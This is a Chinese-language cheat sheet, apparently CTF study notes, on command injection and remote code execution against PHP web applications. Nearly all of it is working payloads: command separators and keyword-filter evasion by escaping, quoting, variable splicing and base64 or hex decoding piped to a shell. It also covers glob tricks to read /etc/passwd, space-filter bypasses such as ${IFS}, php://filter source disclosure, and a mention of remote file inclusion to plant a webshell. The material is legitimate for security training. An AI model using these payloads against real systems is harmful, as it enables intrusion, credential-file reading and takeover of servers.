过滤分隔符 ;
1,可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号
功能 符号 payload
换行符 %0a ?cmd=123%0als
回车符 %0d ?cmd=123%0dls
连续指令 ; ?1=123;pwd
后台进程 & ?1=123&pwd
管道 | ?1=123|pwd
逻辑运算 ||或&& ?1=123&&pwd
; //分号
| //把前面输出的当作后面的输入 (管道符)
|| //前面为假才执行后面的指令
& //两条命令都会执行
&& //前面为假,后面不执行
1、过滤cat、flag等关键字
1.1 常见linux系统命令
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
strings
rev
1.2 使用转义符
ca\t fl\ag ;
1.3 使用引号
ca''t fl''ag;
1.4 内联执行绕过
拼接 flag
?code=a=ag;b=fl;cat $b$a; //相当于 cat flag
第二种:
//当前目录下有 index.php、flag.php
cat `ls`;
//相当于 cat index.php;cat flag.php, 将ls命令的结果给cat去执行
1.5 编码绕过
base64编码
[root~]# echo 'cat flag.txt' | base64
Y2F0IGZsYWcudHh0Cg==
[root~]# echo Y2F0IGZsYWcudHh0Cg== | base64 -d
cat flag.txt
[root~]# echo Y2F0IGZsYWcudHh0Cg== | base64 -d | sh
flag{flag_is_here}
[root~]# echo Y2F0IGZsYWcudHh0Cg== | base64 -d | bash
flag{flag_is_here}
1.6 进制绕过
16进制
[root~]# echo cat flag.txt | xxd
6361 7420 666c 6167 2e74 7874 0a
[root~]# echo 6361 7420 666c 6167 2e74 7874 0a | xxd -r -p
cat flag.txt
[root~]# echo 6361 7420 666c 6167 2e74 7874 0a | xxd -r -p | bash 或 | sh
flag{flag_is_here}
[root~]# $(printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74") //cat flag.txt 16进制
flag{flag_is_here}
8进制
[root~]# $(printf "\143\141\164\40\146\154\141\147\56\164\170\164")
flag{flag_is_here}
1.7 过滤文件名(如: /etc/passwd文件)
1) 利用正则匹配绕过
[root~]# cat /???/pass*
2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过
[root~]# cat /etc$u/passwd
1.8 使用$*和$@,$x,${x}
1.9 读取文件命令
curl file:///root/Desktop/flag.txt
strings flag.txt
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd
sort flag.txt
1.10 查找文件命令(find)
# find . -name f* //查找当前目录下f开头的文件
./flag.txt
2、rce常见php函数
system() 执行命令
passthru()
exec()
shell_exec()
popen()
pcntl_exec()
反引号 同shell_exec()
eval() 执行命令
show_source() 高亮显示文件
highlight_file() 高亮显示文件
array_reverse() 反向输出元素
pos() 输出当前元素的值
localeconv() 返回一包含本地数字及货币格式信息的数组
include 一般用于括号被过滤的情况,因为可以不用括号
require 一般用于括号被过滤的情况,因为可以不用括号
echo() 输出
next() 下一个元素
3、rce常见linux系统命令
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
strings
rev 反过来输出文件内容
4、过滤空格
%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat {cat,flag}
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令
eg.
{ls,}
{cat,flags}
{mv,flags,flag}
eval()函数
eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行
php://input
用法: 可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行.
因此可以用php://input 来执行post输入流的命令
(4) 读取源代码(php://filter)
和上一题一样,也是考察我们对php伪协议的了解。
我们可以通过filter协议来读取网页源代码。
题目提示 flag in /flag flag在/flag文件里
?file=php://filter/read=convert.base64-encode/resource=/flag
远程文件包含:
指定第三方服务器上可运行的php木马,拿到webshell,查看Flag文件。
(7) 过滤cat
老办法,管道符执行我们命令之后,可知
flag 在当前目录的 flag_7709325353056.php文件里
不过看源码可知,flag被过滤了。可以用tac绕过 (head,tail,nl,vim,less,more等等都可以)
传入 127.0.0.1 | tac flag_7709325353056.php
查看源代码,发现flag
空格过滤绕过:
${IFS}
$IFS$9
%09
%20
<>
<
可以尝试上面绕过空格。
传入 127.0.0.1|cat${IFS}flag_628186223836.php